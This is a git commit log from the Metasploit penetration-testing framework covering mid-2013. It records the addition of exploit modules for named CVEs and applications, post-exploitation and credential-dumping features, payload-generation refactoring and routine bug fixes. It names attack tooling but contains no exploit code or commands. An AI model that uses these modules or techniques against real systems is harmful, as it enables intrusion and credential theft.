Tod Beardsley 56ffa4ae2f Fixes for network_interface PR #2085
Implementing the suggestions from @limhoff-r7.

See #2085

FixRM #8023
FixRM #7943
2013-07-10 13:25:06 -05:00
Tod Beardsley 8ade33552c Land #2085, use the new network_interface gem. 2013-07-10 13:15:01 -05:00
James Lee 4cc179a24c Store inverted hash for better lookups
Also clarifies comment about infinite loops
2013-07-10 12:38:42 -05:00
modpr0be 16c9effcb4 make msftidy happy 2013-07-11 00:32:32 +07:00
modpr0be 8de88cbd05 change target from win7 sp1 to win7 sp0, fix description 2013-07-11 00:14:30 +07:00
William Vu 4d313fb0f8 Land #2092, kill to_addr_hex_dump 2013-07-10 11:35:42 -05:00
sinn3r 71974a8535 to_addr_hex_dump is never used and is too similar to to_hex_dump
Not so much value in to_addr_hex_dump, as Meatballs1 suggested, we
should remove this.
2013-07-10 11:09:47 -05:00
jvazquez-r7 3982d7723b Land #2091, @wchen-r7's switch from vprint to print_status hashes 2013-07-09 21:30:55 -05:00
sinn3r 4a3dc2e365 Print all the creds! All your base belong to me.
After a short discussion with Tod, we think it's best to print the
creds by default.  If some dude runs Metasploit in a public place,
dumps passwords, and gets shoulder surfed, well, sucks for them :-p
2013-07-09 19:56:44 -05:00
jvazquez-r7 c343a59e1b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-09 17:48:27 -05:00
sinn3r 134063b945 Land #2090 - Apache Rave Users Information Disclosure 2013-07-09 16:40:40 -05:00
sinn3r d3433a017b Print hash too 2013-07-09 16:39:24 -05:00
jvazquez-r7 234624793c Add module for CVE-2013-1814 2013-07-09 14:03:35 -05:00
sinn3r add294d999 Fix potential nil in last_filename
Replacing #2060.  It is possible to get a nil in last_filename if
the sub! function doesn't find any 0x00s to replace, so instead
it's best to use sub(), which should at least return the original
filename.  To make sure we don't hit any other unknown conditions
that may result in nil last_filename, it's also convert with to_s
to make sure it's always a string.
2013-07-09 12:50:19 -05:00
m-1-k-3 49c70911be dlink upnp command injection 2013-07-09 13:24:12 +02:00
James Lee afa6a36df3 Make first char's character class configurable 2013-07-09 02:50:28 -05:00
James Lee 273046d8f0 Add a class for generating random identifiers
Will be useful for all kinds of things, but brought about in discussions
specifically for Util::EXE in #2037.
2013-07-09 02:06:44 -05:00
lsanchez-r7 2bb11693f2 fixing some copy 2013-07-08 18:16:15 -05:00
lsanchez-r7 250472474c updating the list_interfaces.rb to use the gem 2013-07-08 17:59:41 -05:00
lsanchez-r7 94db2dc83f updating list_interfaces for windows, this should work? 2013-07-08 17:52:24 -05:00
lsanchez-r7 4541a9e49e now with passing msftidy 2013-07-08 17:44:50 -05:00
lsanchez-r7 5c93fb2849 arp_sweep is once again working
modified the capture mixin to use NetworkInteface instead of
pcaprub for interfaces and addresses

FIXRM #8023,#7943
2013-07-08 17:24:28 -05:00
lsanchez-r7 50cf8adc15 pushing the gem to rubygems 2013-07-08 17:22:55 -05:00
jvazquez-r7 64b2f3f7a0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-08 16:55:39 -05:00
Tod Beardsley 8d7396d60a Minor description changes on new modules 2013-07-08 16:24:40 -05:00
lsanchez-r7 5938e79f81 Adding the NetworkInterface gem
I just moved the c extentions from the metasploit-pcaprub to its own gem
2013-07-08 16:11:47 -05:00
jvazquez-r7 6a9a9ac20a Merge branch 'module-mediacoder-m3u' of https://github.com/modpr0be/metasploit-framework 2013-07-08 15:53:36 -05:00
jvazquez-r7 8ab8eb8e59 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-08 15:52:31 -05:00
modpr0be b2a18c37ee add dll references for rop 2013-07-09 03:20:05 +07:00
William Vu 0acdc32bac Land #2084, samples and templates update 2013-07-08 13:29:36 -05:00
sinn3r 2f7254994d Land #2083 - CVE-2013-3482 ERS Viewer 2013 ERS File Handling Overflow 2013-07-08 12:49:54 -05:00
sinn3r 6871ff0fde Add post module sample 2013-07-08 12:20:11 -05:00
sinn3r c9e26ad8ed Add resource script example 2013-07-08 12:13:33 -05:00
sinn3r fb1fe2aba3 Add a template for IE browser exploits 2013-07-08 12:10:15 -05:00
sinn3r ff07d329a8 Update samples 2013-07-08 11:23:18 -05:00
jvazquez-r7 3f874f504c Use metadata 2013-07-08 09:25:02 -05:00
jvazquez-r7 512dd7d15a Update title 2013-07-08 09:11:31 -05:00
jvazquez-r7 c60aeaa202 Add module for CVE-2013-3482 2013-07-08 09:11:10 -05:00
James Lee 9fee68660b Fix overzealous commit -a 2013-07-07 21:52:38 -05:00
modpr0be ed6d88a28b credit to mona.py for rop 2013-07-07 18:07:05 +07:00
James Lee 00c7581099 Fix constant names and 'exe-only'
That'll teach me to commit before the specs finish.

Really [FixRM #8149]
2013-07-06 12:39:15 -05:00
James Lee 1b504197be Check equality instead of regex
Thanks, @Meatballs1 for finding the cause of this bug!

[FixRM #8149]
2013-07-06 12:29:37 -05:00
modpr0be ecb2667401 remove seh mixin and fix the rop nop address 2013-07-06 23:08:51 +07:00
jvazquez-r7 6dec81cbdf Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-06 10:38:19 -05:00
jvazquez-r7 b2e7f61814 Fix path build on total_commander 2013-07-06 10:15:30 -05:00
jvazquez-r7 df7209f28a Land #2067, @wchen-r7's fix for total_commander 2013-07-06 10:14:44 -05:00
Meatballs 2634d33832 Forgot C changes 2013-07-06 09:30:09 +01:00
Meatballs fc5e5a5aad Fixup description 2013-07-06 09:29:32 +01:00
Meatballs 22601e6cc7 Exit process when complete 2013-07-06 09:27:27 +01:00
jvazquez-r7 39f0359fa4 Land #2061, @wchen-r7's fix to make bitcoin_jacker use post mixins 2013-07-06 00:14:14 -05:00
modpr0be 23d2bfc915 add more author 2013-07-06 11:52:16 +07:00
modpr0be b8354d3d6c Added MediaCoder exploit module 2013-07-06 11:07:11 +07:00
James Lee 60a7ad551e Derp, missed file 2013-07-05 17:02:45 -05:00
James Lee d10f082741 Maybe fix travis? Works on my box 2013-07-05 16:58:19 -05:00
Meatballs 0e84886bce Spawn 32bit process 2013-07-05 22:56:21 +01:00
Meatballs 2bfe8b3b29 msftidy 2013-07-05 22:35:22 +01:00
Meatballs 5dc2492b20 Renamed module 2013-07-05 22:32:15 +01:00
Meatballs 0ce3fe2e7c Added service status checks to Post::Windows::Services
Added QueryServiceStatus to Railgun Advapi32 Definitions
Added Checks to module
2013-07-05 22:25:04 +01:00
James Lee 8e2df73f2c Add spec for case-insensitive options
See #2027
2013-07-05 16:06:00 -05:00
James Lee 6c6ad28da2 Merge datastore opts before listing 2013-07-05 16:00:19 -05:00
James Lee da5a321be2 Derp, wrong method name 2013-07-05 15:39:52 -05:00
James Lee 7a4e9b993a Changed my mind, this goes here 2013-07-05 15:39:25 -05:00
James Lee 4432894401 Abstract the dumper tests 2013-07-05 15:35:08 -05:00
James Lee 2841624fdd Refactor spec and add more docs 2013-07-05 15:18:17 -05:00
James Lee 40a3da2b32 Reorganize spec a bit 2013-07-05 14:44:44 -05:00
James Lee ed3764150f Don't continue if opts told us not to generate
Such as is the case with running with --options
2013-07-05 14:31:38 -05:00
James Lee 1962db5b8c Don't stack trace on failed option validation
See #2027
2013-07-05 14:19:03 -05:00
Meatballs 66c2b79177 Initial commit 2013-07-05 19:48:27 +01:00
sinn3r ca4e11c112 Use check_other more 2013-07-05 12:38:38 -05:00
sinn3r 98f49758af Don't need this line 2013-07-05 12:34:26 -05:00
sinn3r d3000c0066 These funcs want 'filename' 2013-07-05 12:29:16 -05:00
sinn3r 353db0884d Use expand_path from Msf::Post::File 2013-07-05 12:26:59 -05:00
James Lee 819c275e4b Make comment a little clearer 2013-07-05 12:23:27 -05:00
sinn3r 18e5831ca8 Don't use begin/rescue to shut errors up and call it "file not found" 2013-07-05 12:22:05 -05:00
sinn3r dc90904e50 Avoid misleading error 2013-07-05 12:12:30 -05:00
jvazquez-r7 c859129339 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-05 12:06:05 -05:00
jvazquez-r7 0e2380c115 Fix method documentation 2013-07-05 11:19:53 -05:00
jvazquez-r7 bcf6d11442 Land #2049, @wchen-r7's had_pid? method work 2013-07-05 11:19:11 -05:00
jvazquez-r7 7f645807f6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-05 10:25:41 -05:00
jvazquez-r7 ad94f434ab Avoid a fix address for the final userland payload 2013-07-05 10:21:11 -05:00
jvazquez-r7 9b7567cd0f Land #2071, @wchen-r7's patch to use the Msf::Post::Windows::Process mixin 2013-07-05 10:19:56 -05:00
jvazquez-r7 6477c6995d Merge branch 'enum_db_no_method' of https://github.com/wchen-r7/metasploit-framework 2013-07-05 09:35:34 -05:00
jvazquez-r7 9ed6b5c0b9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-05 09:35:24 -05:00
jvazquez-r7 a7d110367a Land #2064, @wchen-r7's fix for access uninitialized variable on enum_services 2013-07-05 09:30:23 -05:00
jvazquez-r7 4c57c83cb8 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-05 09:14:23 -05:00
jvazquez-r7 b9dd3df05f Land #2068, @wchen-r7's fix to initialize variables on windows_autologin module 2013-07-05 09:09:17 -05:00
jvazquez-r7 a4f90ffadd Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-05 09:01:30 -05:00
jvazquez-r7 4ed6a4d8d1 Land #2062, @wchen-r7's fix to avoid redundant check 2013-07-05 08:51:05 -05:00
jvazquez-r7 1ad4482ce2 Land #2069, @wchen-r7's patch to print info when using store_loot 2013-07-05 08:35:57 -05:00
jvazquez-r7 c459b0e937 Land #2045, @wchen-r7's fix for memory_grep module 2013-07-05 08:16:47 -05:00
jvazquez-r7 9a31885b8f Merge branch 'memory_grep_fixes' of https://github.com/wchen-r7/metasploit-framework 2013-07-05 07:59:06 -05:00
Meatballs 03e48df5b9 Land #2076, missing require in exploit/freebsd/mmap
[Closes #2076]
2013-07-05 11:52:09 +01:00
Thorsten Fischer e96a5d0237 Fixed a "NameError uninitialized constant" error.
On startup of msfconsole, the following error occurred:

  modules/exploits/freebsd/local/mmap.rb: NameError uninitialized constant Msf::Post::Common

The addition of a corresponding 'require' line removed that error.

Signed-off-by: Thorsten Fischer <thorsten@froschi.org>
2013-07-05 11:56:15 +02:00
sinn3r 2a32b59c88 Forgot to change var 'filename' 2013-07-05 01:37:35 -05:00
sinn3r 84050241f0 Fix target ID 2013-07-05 01:25:08 -05:00
sinn3r 1352731062 Make heap grep optional 2013-07-05 00:57:25 -05:00
jvazquez-r7 c4485b127c Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-04 19:43:38 -05:00
sinn3r 2e1a8d43c5 Land #2074 - Add support for PLESK on php_cgi_arg_injection 2013-07-04 13:42:53 -05:00
jvazquez-r7 7b05872153 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-04 10:10:07 -05:00
jvazquez-r7 8772cfa998 Add support for PLESK on php_cgi_arg_injection 2013-07-04 08:24:25 -05:00
Meatballs 1a0bdf335e Retab lib 2013-07-04 12:09:46 +01:00
Meatballs 479664b5aa Remove redundant file 2013-07-04 12:07:14 +01:00
Meatballs cd159960e1 Tidy 2013-07-04 12:02:32 +01:00
Meatballs 9c1a43a417 Check payload arch 2013-07-04 11:46:34 +01:00
Meatballs a76ee6c2ec Add flexibility to lib 2013-07-04 11:03:48 +01:00
Meatballs 83bc32abb4 Remove Exploit::Exe 2013-07-04 11:01:01 +01:00
Meatballs 7d6a78bf1f Remove report aux 2013-07-04 10:36:32 +01:00
Meatballs 555140b85a Add warning for persist 2013-07-04 10:30:03 +01:00
Meatballs 44cdc0a1c8 Move options to lib 2013-07-04 10:25:37 +01:00
Meatballs 1368c1c27f Move options to lib 2013-07-04 10:25:08 +01:00
Meatballs 8590720890 Use fail_with 2013-07-04 10:21:24 +01:00
Meatballs 3eab7107b8 Remove opt supplied by lib 2013-07-04 10:16:03 +01:00
Meatballs 7d273b2c8b Refactor to psexec lib 2013-07-04 10:11:13 +01:00
Meatballs 1569a15856 Msf license 2013-07-04 10:08:29 +01:00
Meatballs 052c23b980 Add missing require 2013-07-04 09:58:48 +01:00
Meatballs 03de8c1c3d Pull in exploit/powershell 2013-07-04 09:54:40 +01:00
Meatballs 6fa60be76f Merge branch 'psexec_psh' of https://github.com/sempervictus/metasploit-framework into psexec_psh 2013-07-04 09:42:18 +01:00
James Lee 5ff8a58bc5 Make sure linux payloads produce /bin/sh 2013-07-03 17:04:11 -05:00
sinn3r a52d38f359 Land #2052 - Fix regex 2013-07-03 16:55:07 -05:00
jvazquez-r7 d7cf1a0fe7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-03 16:23:49 -05:00
James Lee 8a13dc5a62 Add a couple more tests 2013-07-03 15:59:21 -05:00
sinn3r 4978a56dec Land #2059 - add help page as default for process_memdump.rb 2013-07-03 15:58:20 -05:00
sinn3r 4c229d6450 Land #2055 - Added UAC check when listing inf 2013-07-03 15:05:54 -05:00
sinn3r 97a9606843 "nil" is actually not a method 2013-07-03 15:05:04 -05:00
sinn3r ce27fd4004 Land #2054 - Improved help screen & check user input 2013-07-03 14:46:27 -05:00
jvazquez-r7 4aa7a8d18d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-03 14:34:30 -05:00
sinn3r c5a73c177c Land #2057 - Added help screen by default to pml_driver_config.rb 2013-07-03 14:33:02 -05:00
sinn3r a029302fd7 Land #2058 - Added help screen by default to panda_2007_pavsrv51.rb 2013-07-03 14:30:18 -05:00
jvazquez-r7 80f9849a46 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-03 14:24:49 -05:00
Tod Beardsley 6e966db713 Adding Brian Wallace to the .mailmap 2013-07-03 14:01:00 -05:00
sinn3r 226f4dd8cc Use execute_shellcode for novell_client_nicm.rb 2013-07-03 13:57:41 -05:00
sinn3r f9cfba9021 Use execute_shellcode for novell_client_nwfs.rb 2013-07-03 13:55:50 -05:00
jvazquez-r7 6e44cb56bf Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-03 12:44:47 -05:00
jvazquez-r7 6cb53583b7 Make msftidy happy 2013-07-03 12:42:37 -05:00
jvazquez-r7 61c85b10d3 Add final cleanup for #2012 2013-07-03 12:41:12 -05:00
jvazquez-r7 4a076e0351 Land #2012, @morisson improve for sap_router_portscanner 2013-07-03 12:39:59 -05:00
sinn3r ff49cc1c4f [SeeRM:#8135] - Be able to show where store_loot saves a file
If you don't print where store_loot saves the file, it can be a
pain in the butt to find it sometimes.
2013-07-03 12:29:01 -05:00
James Lee e330916744 Pull out common stuff in Util::EXE/MsfVenom tests 2013-07-03 12:25:15 -05:00
sinn3r 70c472fb7e [FixRM:#8134] - Handle registry_getvaldata return value properly
registry_getvaldata can return nil, can't always assume it's
gonna throw a string.
2013-07-03 12:23:14 -05:00
William Vu c37884c6c7 Land #2066, use Rex instead of Base64 2013-07-03 12:21:06 -05:00
jvazquez-r7 f3f3a8239e Land #2043, @ricardojba exploit for InstantCMS 2013-07-03 12:11:30 -05:00
sinn3r 1064c050de [FixRM:#8132] - Fix undefined method '+' in total_commander.rb
The return value of registry_getvaldata can return nil when a
RequestError occurs, so you can't always assume it's gonna throw
you a string.
2013-07-03 12:10:23 -05:00
sinn3r 27653b661f [FixRM:#8131] & [FixRM:#8133] - Fix Base64 func usage
Instead of using Base64, these modules should use Rex.
2013-07-03 12:06:12 -05:00
William Vu 99cb6ce049 Land #2065, useless references are useless 2013-07-03 12:05:31 -05:00
Ricardo Almeida 0f78e0789b Merge pull request #1 from jvazquez-r7/instantcms
Improve and clean instantcms_exec
2013-07-03 10:00:10 -07:00
jvazquez-r7 2f77e8626f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-03 11:56:25 -05:00
sinn3r 7ef5695867 [FixRM:#8129] - Remove invalid metasploit.com references
These "metasploit.com" references aren't related to the vulns,
shouldn't be in them.
2013-07-03 11:52:10 -05:00
sinn3r c40a605495 [FixRM:#8129] - Fix undefined method error in enum_services.rb
srv_conf may not have the 'Startup' key because it's only assigned
in service_info() when srvstart is 4, therefore it's possible to
cause an undefined method 'downcase' error.
2013-07-03 11:44:28 -05:00
sinn3r 534858a23b [FixRM:#8128] - Potential undefined method 'include' for nil
A lot of return values aren't checked, may result in undefined method X
bugs. The same type of issue is all over the place.
2013-07-03 11:40:24 -05:00
jvazquez-r7 c07e65d16e Improve and clean instantcms_exec 2013-07-03 11:37:57 -05:00
sinn3r 6198409e71 [FixRM:#8127] - Remove junk code that checks ARTIFACTS again
ARTIFACTS uses OptPath, which already checks the path. We don't need
to do this again.
2013-07-03 11:33:25 -05:00
sinn3r 944761a1dc [FixRM:#8126] - Use functions from Msf::Post::File
Some functions already exist in Msf::Post::File, should use them.
2013-07-03 11:30:05 -05:00
William Vu ad83ef826c Land #2053, normalize s4u_persistence module 2013-07-03 10:55:52 -05:00
William Vu d6f3cdc596 Land #2056, typo fix for winenum script 2013-07-03 10:52:51 -05:00
William Vu 82358b8108 Land #2050, msftidy lib/msf/ui/banner.rb 2013-07-03 10:46:01 -05:00
g0tmi1k 99796bb10a WinEnum - Fix typo 2013-07-03 15:05:50 +01:00
g0tmi1k d70cb70d0e process_memdump ~ add help page as default 2013-07-03 14:53:46 +01:00
g0tmi1k 92edf79ea5 HP PML Driver ~ Added help screen by default 2013-07-03 14:41:23 +01:00
g0tmi1k 95d1dcfe2f Panda_2007 - Added help screen by default 2013-07-03 14:33:33 +01:00
g0tmi1k 873c31c4eb packetrecorder~Added UAC check when listing inf
Added UAC check when listing network interfaces
Added error handlering with listing
2013-07-03 13:57:40 +01:00
g0tmi1k 9735679c71 netenum~Improved help screen & check user input
scripts/meterpreter/netenum.rb ~ Improved help screen & check user input
Made msftidy happy
2013-07-03 13:23:15 +01:00
g0tmi1k 864f4e9d37 post/local_admin_search_enum~Regex fails,module 2
If the regex fails then the entire moudle would too
2013-07-03 00:43:08 +01:00
g0tmi1k 2a6056fd2a exploits/s4u_persistence~Fixed typos+default values 2013-07-03 00:38:50 +01:00
g0tmi1k 38b83ba335 ui/banner~Made msftidy happy 2013-07-03 00:29:42 +01:00
jvazquez-r7 130e2a1eb2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-02 17:19:51 -05:00
William Vu 67f30a6828 Land #1739, resolve workspace rename issues 2013-07-02 16:09:59 -05:00
jvazquez-r7 2eb1350c51 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-02 15:00:52 -05:00
sinn3r a74f706bdb These modules should check PID before using it 2013-07-02 14:48:04 -05:00
sinn3r 0f37bbe78e Add has_pid? function
[SeeRM:#8123] - Add commonly used function has_pid?. Related to
redmine issue 8123.
2013-07-02 14:33:15 -05:00
William Vu 28a4a05991 Land #2046, base argument for to_hex_dump 2013-07-02 12:11:05 -05:00
sinn3r 98c214d2fb Allow 0 base address, and dynamic left column length 2013-07-02 11:40:23 -05:00
Ricardo Almeida dd876008f9 Update instantcms_exec.rb 2013-07-02 17:26:14 +01:00
jvazquez-r7 4ac5261802 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-02 11:20:26 -05:00
jvazquez-r7 76a9abfd4e Fix last print_ message format 2013-07-02 11:17:16 -05:00
jvazquez-r7 e9441f540e Land #2048, @todb-r7 fix for print_* messages on the ipmi work 2013-07-02 11:16:11 -05:00
jvazquez-r7 2ceb404f7d Land #2047, @hmoore-r7 ipmi related work 2013-07-02 11:13:25 -05:00
Tod Beardsley 2fbea86884 IPMI scanners should mention IPMI in their messages 2013-07-02 10:44:42 -05:00
Tod Beardsley d668a20820 Use rport instead of datastore['RPORT'] 2013-07-02 10:29:25 -05:00
Tod Beardsley 1d87530e67 Add some verbosity on IPMI version scanning 2013-07-02 10:25:40 -05:00
jvazquez-r7 146d1eb27d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-02 10:06:00 -05:00
James Lee ffb28feaa9 Add spec for #dump_nops 2013-07-02 02:53:30 -05:00
James Lee 95451862d6 More msfvenom refactoring
* Make @framework into a caching method instead

* Allow instantiating with streams for where payloads and comments
  should go. This allows us to capture std{out,err} when running specs

* Specs are still woefully under-representative

* Get rid of all the calls to exit
2013-07-02 02:02:11 -05:00
sinn3r 9eb32ea9af Allow "base" argument for to_hex_dump
[SeeRM:#8121] - For debugging purposes, it's useful to be able to
specify a base.
2013-07-01 23:56:51 -05:00
jvazquez-r7 1110aefe49 Land #2038, @modpr0be exploit for ABBS Audio Media Player 2013-07-01 23:20:50 -05:00
jvazquez-r7 2751470c71 Add @jlee-r7's feedback to sapni proxies support 2013-07-01 21:37:53 -05:00
jvazquez-r7 9c4d869ed8 Land #1018, @nmonkee's support for sap router proxies 2013-07-01 21:36:02 -05:00
modpr0be 2e5398470b remove additional junk, tested and not needed 2013-07-02 09:23:42 +07:00
sinn3r 6815eef8f4 Fix multiple issues with memory_grep
This fixes the following:
[FixRM:#8118] - Allows the module to be able to enumerate from
multiple processes with the same name.

[FixRM:#8120] - Allows the module to be able to actually read data
from the heap.
2013-07-01 18:57:00 -05:00
James Lee 4b2ae4ef6a Refactor msfvenom into a class
Also adds some minimal testing... which is super slow because it doesn't
cache the framework object across tests.

Conflicts:
	msfvenom

Hopefully picked up all the relevant fixes from #2027
2013-07-01 17:51:12 -05:00
James Lee 1466609c86 Add more supported formats to exe generation
- Already supported, just added calls to the the right methods in
  the .to_executable_fmt method:
  - Linux armle, mipsle, and mipsbe
  - Mac arm, ppc

- makes the two (!?) copies of block_api for windows match more closely
  with the source used elsewhere. This is still needs to be refactored
  to get rid of the duplication.

- Get rid of some of the logic in msfvenom duplicated from Util::EXE
2013-07-01 17:36:58 -05:00
James Lee 0d78a04af3 Clean up exe spec a bit 2013-07-01 17:36:58 -05:00
James Lee 3ad5dede26 Add spec for elf mips* and exe-only formats
Also a rudimentary test for win32_rwx_exec
2013-07-01 17:36:38 -05:00
jvazquez-r7 72f19181d1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-01 16:38:19 -05:00
William Vu 183c0845db Land #2042, quick fix for enable_support_account 2013-07-01 16:24:45 -05:00
James Lee 1865e6c19d Fix requrires for enable_support_account 2013-07-01 16:22:39 -05:00
Ricardo Almeida dafa333e57 Update instantcms_exec.rb 2013-07-01 22:03:37 +01:00
William Vu be1a0d3cae Land #2041, title and description cleanup 2013-07-01 15:55:13 -05:00
Tod Beardsley bc24f99f8d Various description and title updates 2013-07-01 15:37:37 -05:00
Tod Beardsley 04c2a7367d Uncapitalized function names are rarely improper. 2013-07-01 15:37:22 -05:00
jvazquez-r7 1c6657ee86 Land #2034, @wchen-r7's patch for memory_grep 2013-07-01 13:34:57 -05:00
modpr0be 9b8bfa6290 change last junk from rand_text_alpha_upper to rand_text 2013-07-01 23:49:19 +07:00
modpr0be c631778a38 make a nice way to fill the rest of buffer 2013-07-01 23:39:08 +07:00
Ricardo Almeida 760133d878 Error on line 60 2013-07-01 12:04:03 -04:00
sinn3r dbce1b36e5 Land #2036 - CVE-2013-3660
Thx Tavis, Keebie4e, and Meatballs
2013-07-01 10:55:51 -05:00
Ricardo Almeida 4cd08966ff added InstantCMS 1.6 PHP Code Injection 2013-07-01 11:44:47 -04:00
modpr0be 478beee38b remove unnecessary option and make msftidy happy 2013-07-01 18:51:47 +07:00
modpr0be f16d097c00 clean version, tested on winxp sp3 and win7 sp1 2013-07-01 18:35:50 +07:00
jvazquez-r7 f58f481399 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-30 22:36:46 -05:00
sinn3r 43c4f07e06 Use "unless"
Guidelines favor "unless".
2013-06-30 18:32:15 -05:00
William Vu 3358854310 Land #2039, fix software name in description 2013-06-30 16:51:47 -06:00
HD Moore 62b62f4e9d Fix bad hash detection 2013-06-30 15:57:47 -05:00
HD Moore cca071ff55 Rework to reduce open fds, remove bugs, handle null user 2013-06-30 15:32:33 -05:00
modpr0be e0ae71e874 minor fixing in the exploit module description 2013-07-01 03:27:06 +07:00
modpr0be 007fddb6bf remove SEH function, not needed 2013-07-01 03:13:20 +07:00
modpr0be 1e4b69ab03 Added abbs amp exploit module 2013-07-01 03:08:22 +07:00
HD Moore 6b3178a67b Fix EOL spaces 2013-06-30 14:38:30 -05:00
HD Moore ad4f15daed Switch to UDPScanner mixin, trim this down, add reporting 2013-06-30 14:36:51 -05:00
jvazquez-r7 0ff1cd24a9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-30 10:03:30 -05:00
jvazquez-r7 867eed7957 Make msftidy happy 2013-06-30 10:01:40 -05:00
jvazquez-r7 db00599d44 Move carberp_backdoor_exec to unix webapp exploits foler 2013-06-30 10:00:14 -05:00
jvazquez-r7 79fb381412 Landing #2035, @bwall exploit for carberp control panel 2013-06-30 09:58:47 -05:00
HD Moore 8e4dd29a4c Add cipher zero scanner 2013-06-30 02:35:37 -05:00
jvazquez-r7 520a78e2c8 Add final cleanup for enable_support_account 2013-06-29 23:30:29 -05:00
jvazquez-r7 df88ace6d1 Land #1989, @salcho's post module for enable windows support account 2013-06-29 23:29:16 -05:00
HD Moore 759a43abe5 Allow for null passwords 2013-06-29 23:20:50 -05:00
HD Moore 1e21f0e2aa Updated output formats, top 1000 passwords 2013-06-29 22:01:25 -05:00
jvazquez-r7 6e7945ca5e Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-29 16:24:45 -05:00
salcho 8717a3b7d8 using post mixins, fixed checks, module renamed 2013-06-29 15:44:36 -05:00
salcho 00bf9070aa using post mixins, fixed checks, module renamed 2013-06-29 15:41:36 -05:00
jvazquez-r7 a4d353fcb3 Clean a little more the VS project 2013-06-29 15:15:27 -05:00
Brian Wallace d990c7f21f Dat line 2013-06-29 09:46:36 -07:00
Brian Wallace ec7c9b039a Further refactoring requested 2013-06-29 09:45:22 -07:00
jvazquez-r7 a2b8daf149 Modify fail message when exploitation doen't success 2013-06-29 10:45:13 -05:00
jvazquez-r7 de245113af Wrap Reflective DLL Readme.md to 80 columns 2013-06-29 09:29:09 -05:00
jvazquez-r7 6878534d4b Clean Visual Studio Project 2013-06-29 09:20:40 -05:00
jvazquez-r7 a5c3f4ca9b Modify ruby code according to comments 2013-06-29 08:54:00 -05:00
Brian Wallace 8542342ff6 Merge branch 'carberp_backdoor_exec' of git@github.com:bwall/metasploit-framework.git into carberp_backdoor_exec 2013-06-28 22:45:03 -07:00
Brian Wallace b8cada9ab0 Applied some refactoring to decrease line count 2013-06-28 22:44:23 -07:00
jvazquez-r7 427e26c4dc Fix current_pid 2013-06-28 21:36:49 -05:00
jvazquez-r7 32ae7ec2fa Fix error description and bad variable usage 2013-06-28 21:30:33 -05:00
jvazquez-r7 fb67002df9 Switch from print_error to print_warning 2013-06-28 21:29:20 -05:00
jvazquez-r7 3ab948209b Fix module according to @wchen-r7 feedback 2013-06-28 20:44:42 -05:00
jvazquez-r7 00416f3430 Add a new print_status 2013-06-28 18:23:49 -05:00
jvazquez-r7 7725937461 Add Module for cve-2013-3660 2013-06-28 18:18:21 -05:00
(B)rian (Wall)ace 9486364cc4 Added Steven K's email 2013-06-28 15:31:17 -07:00
sinn3r 82eed1582f No need for the 2nd element 2013-06-28 17:05:43 -05:00
Brian Wallace fe0e16183c Carberp backdoor eval PoC 2013-06-28 14:47:13 -07:00
James Lee c07254afb0 Land 2033, post lib for injecting shellcode 2013-06-28 16:44:56 -05:00
sinn3r a7ee95381b Updates module description, and uses the proper func for hex dump
As an user, it's important to know that using this module may result
a lost session because it must migrate to grep memory, but does not
migrate back.

The module also has its own hex dump routine, which is no longer
needed because we have a built-in Rex::Text.to_hex_dump
2013-06-28 16:28:00 -05:00
sinn3r e3989ad30c Extra comments, no thanks 2013-06-28 15:44:06 -05:00
sinn3r f4c805f5d6 Yarrrrrrrrd 2013-06-28 15:42:56 -05:00
sinn3r 6e1fa05757 Fix a handle leak & change thread creation flag 2013-06-28 13:23:08 -05:00
sinn3r 554d738f26 Update documentation
Fix broken English
2013-06-28 13:03:05 -05:00
sinn3r b7430cb569 Add Msf::Post::Windows::Process
The purpose of Msf::Post::Windows::Process is have all the common
functions you might need to do something to a process, for example:
injecting something to a process and then run it.
2013-06-28 12:55:06 -05:00
HD Moore f0db04c2a6 Updates to common password db 2013-06-28 10:47:14 -05:00
jvazquez-r7 1a715bf53e Land #2032, @egypt's requires for pptp_tunnel 2013-06-28 10:37:16 -05:00
James Lee f158e421fa Add requires for pptp_tunnel 2013-06-28 10:07:52 -05:00
James Lee 72afd7e37b Land 2029, rpc client file descriptor leak 2013-06-27 17:25:07 -05:00
David Maloney ea13ac48ec "fix" indentation to make egypt happy 2013-06-27 17:16:13 -05:00
David Maloney 89faba288d damnit brandon turner 2013-06-27 17:12:37 -05:00
David Maloney 867be1257a slight rearrangement 2013-06-27 17:09:20 -05:00
David Maloney e3fde02eec conditional wrapping
as per egypt's catch
2013-06-27 17:07:16 -05:00
David Maloney 70433820a9 fixes FD leak in RPC client
FD leak due to sockets not getting closed
on the rpc client
FIXRM #8107
2013-06-27 16:57:02 -05:00
Josh d7eda343e9 fix typo in comment
change runing to running
2013-06-27 03:12:49 -05:00
jvazquez-r7 3c1af8217b Land #2011, @matthiaskaiser's exploit for cve-2013-2460 2013-06-26 14:35:22 -05:00
jvazquez-r7 81a2d9d1d5 Merge branch 'module_java_jre17_provider_skeleton' of https://github.com/matthiaskaiser/metasploit-framework 2013-06-26 14:32:59 -05:00
jvazquez-r7 90b30dc317 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-26 14:31:52 -05:00
sinn3r 414b2a64e3 Land #2027 - Fix multiple issues with msfvenom
[FixRM:#8096]
[FixRM:#8095]
[FixRM:#8094]
